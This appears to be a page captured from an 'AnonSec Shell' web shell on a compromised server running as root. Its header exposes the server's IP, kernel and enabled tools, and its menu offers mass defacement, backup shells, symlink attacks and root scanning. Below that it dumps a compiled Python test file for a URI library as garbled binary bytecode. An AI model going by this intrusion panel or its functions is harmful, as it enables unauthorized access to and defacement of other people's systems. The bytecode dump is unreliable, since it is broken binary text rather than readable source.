AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/lazr/uri/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/lazr/uri/tests/__pycache__/test_uri.cpython-310.pyc
o

�^��@s\dZeZdgZddlmZddlZddlmZm	Z	m
Z
mZmZGdd�dej
�Zdd	�ZdS)
zUnit tests.�
test_suite�)�defaultdictN)�InvalidURIError�URI�find_uris_in_text�merge�remove_dot_segmentsc@sTeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�ZdS)�URITestCasecCs||�ttd��d�|�ttd��d�|�ttd��d�|�ttd��d�|�ttd	��d�|�ttd
��d�dS)N�"eXAMPLE://a/./b/../b/%63/%7bfoo%7d�example://a/b/c/%7Bfoo%7D�http://www.EXAMPLE.com/�http://www.example.com/�http://www.gnome.org/%7ejamesh/�http://www.gnome.org/~jamesh/�http://example.com�http://example.com/�http://example.com:/�http://example.com:80/)�assertEqual�strr��self�r�9/usr/lib/python3/dist-packages/lazr/uri/tests/test_uri.py�test_normalisation!s$������zURITestCase.test_normalisationc
Cs�ddgddgddggd�g}tt�}|D]}|D]
}|tt|���|�qq|�t|�t|��|D]}|�t|�t|tt|d����q3dS)	Nr
rrr
rr)rrrrr)r�list�hashr�appendr�len�sorted)r�
uri_groups�
uri_hashes�	uri_group�urirrr�
test_hashable4s.�������zURITestCase.test_hashablecCs|�ttd�dS)Nuhttp://€xample.com/)�assertRaisesrrrrrr�test_invalid_uriKszURITestCase.test_invalid_uricCs\|�tdddd�d�|�tdddd�d�|�tdddd�d�|�td	ddd�d�dS)
N��fooT)�
has_authorityz/fooFz/a/b/cz/a/b/fooz/a/b/)rrrrrr�
test_mergeNs��zURITestCase.test_mergecCs$|�td�d�|�td�d�dS)Nz/a/b/c/./../../gz/a/gzmid/content=5/../6zmid/6)rrrrrr�test_remove_dot_segmentsXsz$URITestCase.test_remove_dot_segmentscs�td���fdd�}|�|d�d�|�|d�d�|�|d�d�|�|d�d	�|�|d
�d�|�|d�d
�|�|d�d�|�|d�d�|�|d�d�|�|d�d�|�|d�d�|�|d�d�|�|d�d�|�|d�d�|�|d�d�|�|d�d �|�|d!�d �|�|d"�d#�|�|d$�d#�|�|d%�d&�|�|d'�d(�|�|d)�d(�|�|d*�d�dS)+N�http://a/b/c/d;p?qc�t��|��S�N�r�resolve��relative��baserrr0`�z3URITestCase.test_normal_resolution.<locals>.resolvezg:h�gzhttp://a/b/c/gz./gzg/�http://a/b/c/g/z/g�
http://a/gz//gz	http://g/z?yzhttp://a/b/c/d;p?yzg?yzhttp://a/b/c/g?yz#szhttp://a/b/c/d;p?q#szg#szhttp://a/b/c/g#szg?y#szhttp://a/b/c/g?y#sz;xzhttp://a/b/c/;xzg;xzhttp://a/b/c/g;xzg;x?y#szhttp://a/b/c/g;x?y#sr'�.z
http://a/b/c/z./z..zhttp://a/b/z../z../g�http://a/b/gz../..z	http://a/z../../z../../g�rr�rr0rr3r�test_normal_resolution]s2z"URITestCase.test_normal_resolutioncs8td���fdd�}|�|d�d�|�|d�d�|�|d�d�|�|d�d�|�|d	�d
�|�|d�d�|�|d
�d�|�|d�d�|�|d�d�|�|d�d�|�|d�d�|�|d�d�|�|d�d�|�|d�d�|�|d�d�|�|d�d �|�|d!�d"�|�|d#�d$�dS)%Nr,cr-r.r/r1r3rrr0~r5z5URITestCase.test_abnormal_resolution.<locals>.resolvez
../../../gr8z
../../../../gz/./gz/../gzg.zhttp://a/b/c/g.z.gzhttp://a/b/c/.gzg..zhttp://a/b/c/g..z..gzhttp://a/b/c/..gz./../gr:z./g/.r7zg/./hzhttp://a/b/c/g/hzg/../hzhttp://a/b/c/hz	g;x=1/./yzhttp://a/b/c/g;x=1/yz
g;x=1/../yzhttp://a/b/c/yzg?y/./xzhttp://a/b/c/g?y/./xzg?y/../xzhttp://a/b/c/g?y/../xzg#s/./xzhttp://a/b/c/g#s/./xzg#s/../xzhttp://a/b/c/g#s/../xr;r<rr3r�test_abnormal_resolution{s(z$URITestCase.test_abnormal_resolutioncC�<td�}|�|�d��|�|�d��|�|�d��dS)N�http://code.launchpad.dev/foozcode.launchpad.devz
launchpad.devr')r�
assertTrue�underDomain�rr#rrr�"test_underDomain_matches_subdomain��z.URITestCase.test_underDomain_matches_subdomaincCr?)Nr@zbeta.code.launchpad.devz
google.comzunchpad.dev)r�assertFalserBrCrrr�+test_underDomain_doesnt_match_non_subdomain�rEz7URITestCase.test_underDomain_doesnt_match_non_subdomainN)�__name__�
__module__�__qualname__rr$r&r*r+r=r>rDrGrrrrr	s
r	cCst���t�Sr.)�unittest�
TestLoader�loadTestsFromNamerHrrrr�additional_tests�r5rN)�__doc__�type�
__metaclass__�__all__�collectionsrrK�lazr.urirrrrr�TestCaser	rNrrrr�<module>s�

Anon7 - 2022
AnonSec Team